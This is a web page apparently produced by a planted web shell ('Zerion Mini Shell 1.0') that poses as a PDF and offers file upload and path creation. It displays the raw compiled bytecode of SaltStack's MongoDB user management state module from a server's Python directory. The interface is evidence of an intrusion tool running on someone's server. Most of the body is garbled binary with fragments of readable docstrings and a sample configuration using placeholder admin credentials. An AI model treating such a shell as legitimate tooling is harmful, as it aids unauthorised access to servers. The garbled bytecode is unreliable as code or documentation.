%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/mongodb_user.pyc

�
���^c@@sndZddlmZmZmZdZd�Zdd
d
ddd
d
d�Zd
d
d
d
dd
d	�Z	d
S(u^
Management of MongoDB Users
===========================

:depends:   - pymongo Python module
i(tabsolute_importtprint_functiontunicode_literalsumongodb_usercC@sdtkrtStS(Numongodb.user_exists(t__salt__t__virtualname__tFalse(((s</usr/lib/python2.7/site-packages/salt/states/mongodb_user.pyt__virtual__suadminu	localhosti�ic	C@si|d6id6td6dj|�d6}	|dkr@g}nyt|�}Wn/tk
r�t|	d<dj|�|	d<|	SXtd|||||||�}
t|
�dkr�|
ds�t|	d<d	j|
d
�|	d<|	Sx�|
D]�}g}x6|dD]*}
|
d|kr|j|
d
�qqWt	|�t	|�ks�|	dj
ii|d6i|d6|d6d6|6�ntd||||||d|d|d|�q�W|	St|
t�s�|
|	d<t|	d<|	St
dr	d|	d<dj|�|	d<|	Std||||||d|d|d|�r^dj|�|	d<d|	d|<ndj|�|	d<t|	d<|	S(u`
    Ensure that the user is present with the specified properties

    name
        The name of the user to manage

    passwd
        The password of the user to manage

    user
        MongoDB user with sufficient privilege to create the user

    password
        Password for the admin user specified with the ``user`` parameter

    host
        The hostname/IP address of the MongoDB server

    port
        The port on which MongoDB is listening

    database
        The database in which to create the user

        .. note::
            If the database doesn't exist, it will be created.

    authdb
        The database in which to authenticate

    roles
        The roles assigned to user specified with the ``name`` parameter

    Example:

    .. code-block:: yaml

        mongouser-myapp:
          mongodb_user.present:
          - name: myapp
          - passwd: password-of-myapp
          - database: admin
          # Connect as admin:sekrit
          - user: admin
          - password: sekrit
          - roles:
              - readWrite
              - userAdmin
              - dbOwner

    unameuchangesuresultuUser {0} is already presentucommentuPort ({0}) is not an integer.umongodb.user_findiuMongo Err: {0}iurolesudburoleudatabaseuoldunewumongodb.user_createtdatabasetauthdbtrolesutestu/User {0} is not present and needs to be createduUser {0} has been createduPresentuFailed to create database {0}N(tTruetformattNonetintt	TypeErrorRRtlentappendtsettupdatet
isinstancetlistt__opts__(tnametpasswdRtusertpasswordthosttportRR	trettuserstusrt
current_rolestrole((s</usr/lib/python2.7/site-packages/salt/states/mongodb_user.pytpresentsT<
	

"


73




1
c	
C@si|d6id6td6dd6}td|||||d|d|�}|tkr�td	r�d|d<d
j|�|d<|Std|||||d|d|�r�dj|�|d<d
|d|<|Snt|t�s�||d<t|d<|Sdj|�|d<|S(u!
    Ensure that the named user is absent

    name
        The name of the user to remove

    user
        MongoDB user with sufficient privilege to create the user

    password
        Password for the admin user specified by the ``user`` parameter

    host
        The hostname/IP address of the MongoDB server

    port
        The port on which MongoDB is listening

    database
        The database from which to remove the user specified by the ``name``
        parameter

    authdb
        The database in which to authenticate
    unameuchangesuresultuucommentumongodb.user_existsRRutestu+User {0} is present and needs to be removedumongodb.user_removeuUser {0} has been removeduAbsentuUser {0} is not presentN(R
RRRRRtboolR(	RRRRRRRRtuser_exists((s</usr/lib/python2.7/site-packages/salt/states/mongodb_user.pytabsent�s* 

(


(

N(
t__doc__t
__future__RRRRRRR!R$(((s</usr/lib/python2.7/site-packages/salt/states/mongodb_user.pyt<module>s 	y

Zerion Mini Shell 1.0